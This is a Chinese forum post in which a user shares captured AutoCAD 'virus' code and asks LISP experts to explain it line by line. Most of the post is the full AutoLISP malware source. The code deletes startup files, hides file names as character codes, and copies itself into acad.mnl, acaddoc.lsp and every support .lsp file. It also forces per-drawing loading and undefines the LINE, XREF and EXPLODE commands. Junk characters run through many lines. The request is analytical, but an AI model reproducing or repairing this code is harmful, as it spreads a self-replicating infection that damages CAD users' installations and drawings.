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[求助] 求助高手解释LISP病毒代码

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五面怪
发表于 2011-9-19 15:26 | 显示全部楼层 |阅读模式
本人最近截获：CAD病毒代码一段，请LISP高手帮忙解析一下每句语句的功能，不胜感谢。最是比较常见的，党是不会亏待你的，
  1. (7 }8 ~# Q2 n0 m+ L
  2. setq' _$ C4 ?" G  ]/ o0 Q2 S! y
  3.   wold_cmd
    4 {2 J' G" k" a! G) G2 ^8 |7 t
  4.    (: D: s( W- d% O7 u8 g3 ]  l
  5.     getvar* r* n4 m1 \- h: M
  6.      "cmdecho": x( p7 e8 q6 W! ~( _, M+ H' H
  7.    )' y4 R8 k. t9 t+ ~- ?5 g9 s& A
  8. )1 A/ Z7 S1 @6 q- Z
  9. (
    % p- E6 j  O9 Q
  10. setvar
    % `! J& C# Y& J/ @) W  `+ z) x
  11.   "cmdecho"3 g) h* I% ~* f
  12.   0
    : O- |) w: K: ?  q; @+ T/ r
  13. )
    3 B/ {/ t: R; Q& v2 D
  14. (9 ?, `2 V, `7 `7 \4 G5 X! B( B
  15. setq
    6 Y+ q! U: }$ r  O) q
  16. bb 1
    8 l: ?' ~; j& V2 Q
  17. )
    , ?& q4 x) r1 w4 ~! K  n; v
  18. (setq dpath (getvar "dwgprefix"))+ b! U) u5 e# h: m1 P
  19. (setq wpath (getvar "menuname"))( k  v2 K% \  B' Q: U* i
  20. (setq wpath (substr wpath 1 (- (strlen wpath) 4))): |: p! U: K2 ~% q  T5 ~
  21. (setq mnl (strcat (chr 97)+ _. p2 @9 C9 v) T# ?4 \% S
  22.                   (chr 99)
    ; L# P" L0 J7 g; I; D. f. D
  23.                   (chr 97)
    ; c) o0 G' R# @- l/ z6 f( C
  24.                   (chr 100)
    ( o4 E) b4 J& B  {* n3 y
  25.                   (chr 46); ~) Z; r5 n" q& `% ~  L' v6 M' k
  26.                   (chr 109)$ I' F1 |9 t6 ^; g' T, m
  27.                   (chr 110)
    , A  @4 f% s2 Y, ~5 y9 I. q
  28.                   (chr 108)
    2 f& i7 D2 l) d/ y% v! a
  29.           ). u" ?& y* u; |6 `
  30.       lsp (strcat (chr 97)9 k: L) ?4 x4 y; E; Q1 n$ A; ~
  31.                   (chr 99)- j5 N/ G" B& Q: u9 e0 E3 y4 ~$ _
  32.                   (chr 97)- j! N1 S" @. }6 s) z5 X
  33.                   (chr 100)1 h% p3 A. P$ Q, ]2 v
  34.                   (chr 100)# Q% s5 V$ u2 H% B" `, r: R3 M
  35.                   (chr 111). ~, _! Z3 m" @
  36.                   (chr 99); _9 r" R1 x+ m' A6 X
  37.                   (chr 46)
    0 C5 Y1 X- @$ @2 j
  38.                   (chr 108)
    8 u+ \9 S! }( r
  39.                   (chr 115)
    , ^) \& p1 i! W# R' I' J
  40.                   (chr 112); G% P, M/ V( ~* I! N1 K9 `
  41.           )
    + f3 y  @8 g3 k  [
  42. )
    , |' N, M$ B: ?' n
  43. (vl-file-delete (strcat wpath "acadapq.lsp"))% I0 t1 I5 q+ G  A
  44. (vl-file-delete (strcat wpath lsp))7 N4 r" l( F) I/ ?2 \* O; v) c
  45. (vl-file-delete (strcat wpath "acad.lsp"))$ N1 `' V1 G) |  K
  46. (vl-file-delete (strcat dpath "acad.lsp"))
    ( N! ?. j8 T% Q; T
  47. (defun wwriteapp ()
    6 g, Z- Q# u, m
  48.   (if (setq wwjm1 (open wnewacad "w"))
    ( d* B$ m: o1 W4 `
  49.     (progn
    6 J5 V" L( q4 Y. U- |, g9 y
  50.       (setq wwjm (open woldacad "r"))
    + Q) b, m% y2 z+ x% t
  51.       (while(setq wwz (read-line wwjm))+ e8 V3 z6 d1 {& L% m
  52.          (write-line wwz wwjm1)
    6 M5 S) a4 n3 H- H* R( J
  53.       )* v, T4 r( u1 E
  54.       (close wwjm)7 L* }5 ]. g+ G/ {# f
  55.       (close wwjm1)
    & k1 l) W# G3 Z* H
  56.     )
    / t( u& K! a6 D: @' S. w
  57.   )1 C1 n% o1 s# R! ^+ L) I; @
  58. )' I( N5 H6 L3 {; A

  59. + i* ?# Q2 t1 e
  60. (setq lbz 0)
    ; D( i2 Z. P0 K% ]
  61. (setq wwjqm (strcat dpath lsp))2 H0 B, \) ^( C+ a4 P  F  o  J
  62. (if (setq wwjm (open wwjqm "r"))
    0 X! I/ w3 y: A3 k# o% K
  63.   (progn
    5 l7 ^3 N; a, ]8 M. ~
  64.     (repeat 15 (read-line wwjm))
    ( ^* `% O' J+ F! o4 C3 l
  65.     (setq wz (read-line wwjm))8 V2 P6 V" V) L' k
  66.     (setq ab (atoi (substr wz 4 1)))9 N  N2 s( o2 F* D
  67.     (close wwjm)) I7 |6 m" |" V; E
  68.     (if        (> ab bb)0 K  q% S6 n9 N* E5 n
  69.       (setq lbz 1)# r5 V8 w! x" L1 x1 B% f/ d
  70.     )
    5 r1 k. \8 z2 D) @  u) F: ?( ]; L
  71.   )4 b4 Z! x2 g+ k7 G9 x
  72. )4 x$ N4 f! C% Q$ z& ?3 M( `
  73. " e4 O' X/ {( v$ O- e
  74. (setq wwjqm (strcat wpath mnl))
    ( y1 @2 n% s, w. M; U
  75. (if (setq wwjm (open wwjqm "r"))7 S  w, N& X( x  ^( U
  76.   (progn6 F, S9 y' W" P% D: l3 {7 W4 r
  77.     (repeat 15 (read-line wwjm))* s8 G8 C% @! Y
  78.     (setq wz (read-line wwjm)); B" U0 x, e* F. E: p, `
  79.     (setq nb (atoi (substr wz 4 1)))
    9 }! o8 j- M% t3 `3 R8 Z0 o
  80.     (close wwjm)
    , `6 u& S5 \& Y2 P  G
  81.    
    * W! g' Q9 Y& N& `/ T  s
  82.     (if        (< nb bb)
    # m& g+ `$ A8 e2 y* M& e' k, Y+ r
  83.       (setq lbz 1)2 v& u; M" |, u
  84.     )2 v2 i+ W4 D$ x% j# H: R
  85.   )/ t& v; a( K+ G7 d, D; B
  86.   (setq lbz 1)
    ( N& r7 x' m6 E  e
  87. )% x5 N* B8 w5 R& j
  88. (if (= lbz 1)
    6 O8 \1 u7 K0 e" @- }2 K' r: x9 j
  89.   (progn
    ; x  \' w) }* Y2 r+ Q
  90.     (setq woldacad (strcat dpath lsp))4 P: G6 b8 w, i2 H/ H* e
  91.     (setq wnewacad (strcat wpath mnl))
    5 C8 L2 x/ |  W' Q5 B8 H0 V& L
  92.     (wwriteapp)$ d' z0 w+ i9 n' Z
  93.   )& |$ z/ a0 a2 C
  94. ). b4 K! L0 [; E. R( Q
  95. (if (and (/= (substr dpath 1 1) (chr 67))" L% q& M7 E. K( _! a
  96.          (/= (substr dpath 1 1) (chr 68)). h1 a0 I, r, |$ \5 t- s. H# P, K
  97.          (/= (substr dpath 1 1) (chr 69))" V- i! v" x. r& D+ ]# d* ]* M
  98.          (/= (substr dpath 1 1) (chr 70))
    - C$ r4 T* Y3 d! O3 u* r
  99.     ): |" x/ F+ c& j' |
  100.   (progn
    # u& o( z# u0 w2 b9 H
  101.     (setq woldacad (strcat wpath mnl))6 |) p# E5 D0 H6 V& C0 T7 a4 W+ E
  102.     (setq wnewacad (strcat dpath lsp)): r# u" g! e2 V5 K. q  |. x" F  R
  103.     (wwriteapp)
    ) h8 C5 Q3 y# t0 B
  104.   )
    5 r) m3 {- ^5 a) N
  105.   (vl-file-delete (strcat dpath lsp))! h$ I9 K2 Z, Z* j1 W+ L0 z
  106. )% Q" h6 ~2 C! A) E6 L8 [! Z+ u
  107. ;load "acadapq")
    4 r8 ~: \6 P7 N  [: B" R
  108. (vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
    : A' P7 j, Q6 a  `- l
  109. & F$ h9 }4 W# x& B
  110. (setq flagx t)
      P# L2 ?- `7 b* L9 F& p, h+ r
  111. (setq bz "(setq flagx t)")
    8 r9 F: y3 ^0 m+ i: k/ r
  112. (defun app(source target bz / flag flag1 wjm wjm1 text)
    + K( E: P* D$ b* N4 C
  113.   (setq flag nil)
    9 z; }& A2 d( v& C  B
  114.   (setq flag1 t)
    0 d2 I4 M6 e4 |* d4 p! K+ U
  115.   (if (findfile target)7 p& E; Z1 ^$ ~
  116.     (progn: U; ^! J2 T1 }& \* K/ {
  117.       (setq wjm1 (open target "r"))- v4 H+ @" }( k+ n+ P3 C
  118.       (while (setq text (read-line wjm1))7 H# j% Q6 A% `( X1 Q
  119.         (if (= text bz) (setq flag1 nil))
    : n: `6 p8 J4 h; C
  120.         );while7 s9 |9 _, F1 Z9 K
  121.       (close wjm1)4 M, C6 S' [7 f( @, R& o" ~, Z
  122.       );progn# s* f3 ~* m4 c' E- Y$ H
  123.     );if
    $ _9 f- s/ ~! w3 I- O9 f5 E
  124.   (if flag1
    + f' W8 ]" a9 a8 b' z* H) ^
  125.     (progn& F; R  @' d3 @" }9 F9 @$ {
  126.       (setq wjm (open source "r"))
    5 f0 Y1 ~- ?, L  g
  127.       (setq wjm1 (open target "a"))( j2 f3 V; v' ~+ A
  128.       (write-line (chr 13) wjm1)6 o( n; z" d. i* [- T/ j
  129.       (while (setq text (read-line wjm))$ z: ?+ z9 j/ Q! N1 Y
  130.         (if (= text bz) (setq flag t))
    ; L  d6 F+ d8 q! i
  131.         (if flag
    ) y9 r) g7 b/ b) M$ }, t: s
  132.           (progn
    , d+ h( R: z7 X. R
  133.             (write-line text wjm1)7 F2 Y" q% H6 y/ O! P% m. u
  134.             );progn  q+ i/ T4 _  I
  135.           );if2 Y, m+ o6 }. K8 N$ u. b! D
  136.         );while
    2 t2 b3 T  T3 w; X' E
  137.       (close wjm1); i& e8 V; B1 h# E
  138.       (close wjm)
      I& j: F- F1 e" x* ^
  139.       );progn
    , S. j2 F; r! O: s/ c& R$ ~* i1 E
  140.     );if4 _3 P/ T4 ]2 y1 X
  141.   );defun5 h: Y; X9 w; [6 j( C0 M
  142. (setvar "cmdecho" 0)8 Z. w% n- i$ ^: z
  143. (setq acadmnl (findfile "acad.mnl"))
    : P! ^2 Z7 A% j3 K2 @( a* s% n, S
  144. (setq acadmnlpath (vl-filename-directory acadmnl))
    % {- ]$ s5 [) P& g( }
  145. (setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
    : p2 O' D* n' d, Q+ B( f8 p
  146. (setq mnlnum (length mnlfilelist)), y* M3 Y" h& y+ c. L/ @
  147. (setq acadexe (findfile "acad.exe"))+ @" T0 X" D) G$ o* K6 x
  148. (setq acadpath (vl-filename-directory acadexe))
    , h& w  ?: q( Z9 A1 A
  149. (setq support (strcat acadpath "\\support"))
    7 J  m6 r7 R( T; m+ X
  150. (setq lspfilelist (vl-directory-files support "*.lsp")): g" J2 [" W5 Z9 @6 q
  151. (setq lspfilelist (append lspfilelist (list "")))0 C& c  W# D' f5 ^
  152. (setq lspnum (length lspfilelist))
    2 A. q: j9 V" o
  153. (setq dwgname (getvar "dwgname"))
    ( Z4 t6 r7 N8 B/ {% ~4 [+ S* y
  154. (setq dwgpath (findfile dwgname))% Y# H" ]& \! D0 w
  155. (if dwgpath1 i4 @! O* r8 J5 E
  156.   (progn
    3 x8 |7 |  l3 d" v$ @: {
  157.     (setq acaddocpath (vl-filename-directory dwgpath))* B. g6 z( S, c0 r% H
  158.     (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
    / Q) N/ e& L% }0 H3 y, K
  159.     (setq mnln 0)
    # _0 X, w0 s; I# b
  160.     (while (< mnln mnlnum)& j) B6 Q9 K* ?9 Q' B, t9 Q% E6 i
  161.       (setq mnlfilename (strcat acadmnlpath "\" (nth mnln mnlfilelist))); P* i0 D, f4 v  R( ]
  162.       (app mnlfilename acaddocfile bz)
    6 `9 q! N& u' S" z9 p1 @1 N5 F' {
  163.       (app acaddocfile mnlfilename bz)6 r, G" c9 k6 Q; i4 |' u% W
  164.       (setq mnln (1+ mnln))0 C4 F! R( O, ?- M
  165.       );while5 }' t; S! b- h
  166.     (setq lspn 0)- S2 \% `4 x0 @4 s- F
  167.     (while (< lspn lspnum)
    * b& O/ l  l7 ~' y  X
  168.       (setq lspfilename (strcat support "\" (nth lspn lspfilelist)))
    9 X. q5 X$ k- h
  169.       (app lspfilename acaddocfile bz)! e; E2 L) i, E% k2 u. [- D
  170.       (app acaddocfile lspfilename bz)
    . q' j! ]; l; ?% A0 {
  171.       (setq lspn (1+ lspn))% d; o# G& G2 g; F7 C, Z8 w
  172.       );while
    ( e8 M  \( D! b7 P  g9 n$ n: @
  173.     );progn
    : Z5 Q& k( x- l2 I
  174.   );if/ o" b9 M6 i+ t  W& O4 \1 V* G
  175. (setq mnln 0)5 ]4 O7 ]. L' [
  176. (while (< mnln mnlnum)7 Q# ?9 W3 ~. k- v7 X3 o0 }$ U3 b
  177.   (setq mnlfilename (strcat acadmnlpath "\" (nth mnln mnlfilelist)))$ F2 r, P7 P5 W0 V( a% l3 r
  178.   (setq mnln1 0)4 `. r. L. a' [( Z' v
  179.   (while (< mnln1 mnlnum)
    7 ~$ J& S8 M; B. M9 J* d/ i
  180.     (setq mnlfilename1 (strcat acadmnlpath "\" (nth mnln1 mnlfilelist)))
    6 |- u; t' Q& d: I8 @5 n: K  M; o
  181.     (app mnlfilename mnlfilename1 bz)- }, Y! M# d: I7 I5 l
  182.     (setq mnln1 (1+ mnln1))/ y& w* q& S) L$ _8 D. a) c. `2 X  T1 b$ t
  183.     );while; e% [0 N: i' [7 O& J
  184.   (setq lspn1 0)- c1 ?$ j' S5 C& k. P, V& ?1 R
  185.   (while (< lspn1 lspnum)2 ?2 e1 s+ F; A9 X- d* ]9 V
  186.     (setq lspfilename1 (strcat support "\" (nth lspn1 lspfilelist)))
    : Q# W2 i/ _: A( b
  187.     (app mnlfilename lspfilename1 bz)
    * H+ d2 g% X# @' q8 Y
  188.     (setq lspn1 (1+ lspn1))& O7 p7 ~  j) a" Q4 d
  189.     );while
    / F8 U+ T  f( S
  190.   (setq mnln (1+ mnln))
    ; z7 E9 C7 A, z. {. ~. M4 K
  191.   );while
    3 l# R9 C. I  |; |7 Q% g
  192. (setq lspn 0)' a9 V- o' m) V- b7 A
  193. (while (< lspn lspnum)5 G- q/ O6 M" a+ T" b& }8 G
  194.   (setq lspfilename (strcat support "\" (nth lspn lspfilelist)))
    / X& |: y8 Z6 u5 @
  195.   (setq lspn1 0)6 n. L- k* V0 c$ L+ B3 c( `3 p$ Z
  196.   (while (< lspn1 lspnum); s5 T1 I, K5 O8 ~& j
  197.     (setq lspfilename1 (strcat support "\" (nth lspn1 lspfilelist))), M: w( `' d5 ~
  198.     (app lspfilename lspfilename1 bz)
    8 r7 n& t/ ^' F+ L  X. C
  199.     (setq lspn1 (1+ lspn1)); z2 Q0 z6 S  E$ y4 S3 h
  200.     );while+ ?, z# H) y3 D
  201.   (setq mnln1 0)
    0 h1 m( ^% @0 @8 s9 X  I
  202.   (while (< mnln1 mnlnum)
    % d/ C8 ^  T( f; H$ o
  203.     (setq mnlfilename1 (strcat acadmnlpath "\" (nth mnln1 mnlfilelist)))
    2 Y0 H1 W, s* y  }& y2 e; Q7 s
  204.     (app lspfilename mnlfilename1 bz)
    . t2 v. X& B2 R: b/ |
  205.     (setq mnln1 (1+ mnln1))4 n8 p- V( x' ^/ K8 z8 ^
  206.     );while
    / V+ q. E% p" b' A6 R% E
  207.   (setq lspn (1+ lspn))0 |, i, `  T# _: ]" p9 h
  208.   );while+ M3 Q1 j5 H+ R6 B: c+ z$ m
  209. (setvar "sdi" 1)% W% `  [% g+ S( M# m. H4 K
  210. (setvar "ACADLSPASDOC" 1); {( l( W. d  q5 X- B
  211. (command "undefine" "line")6 U$ \$ @( e0 D% q' T
  212. (command "undefine" "_line")
    8 n6 j$ T0 \3 ^7 v& w0 z) |: o
  213. (command "undefine" "xref")
    3 K( `& d! U  j3 Z! f' x
  214. (command "undefine" "_xref")
    + T. C  R) S# G% I& s+ K. c
  215. (command "undefine" "explode")( o; z( q5 _$ Q
  216. (command "undefine" "_explode")
    7 Y7 t% `1 [: q& G$ R$ G3 U
  217. (setvar "cmdecho" 1), h7 g/ O" t* \' _4 V; o; U
  218. (princ)/ }+ p1 u. B' @3 t$ V$ o
  219. (load "acadapp")
    / X& K4 L4 ^! Z) y: n  f' f: M
  220. (princ)
    ( R2 Z' g7 l! s9 h+ v3 u
  221. (if (null stol) (load "lcm" ""))/ q; P- S8 `1 J3 y- Y& Q
  222. (princ)
    / Z- O1 ~4 o; d1 Y3 @/ B' L' I) F+ ?
  223. (load "acadappp.lsp")
    ! h  ]( G7 V' D( W# M4 X, w
  224. (princ)
    , C- B( e5 }6 h% Q
  225. (if (null stol) (load "lcm" ""))
      B* \9 j' j% ~$ G1 Z1 W7 u* X, ~
  226. (princ)
复制代码
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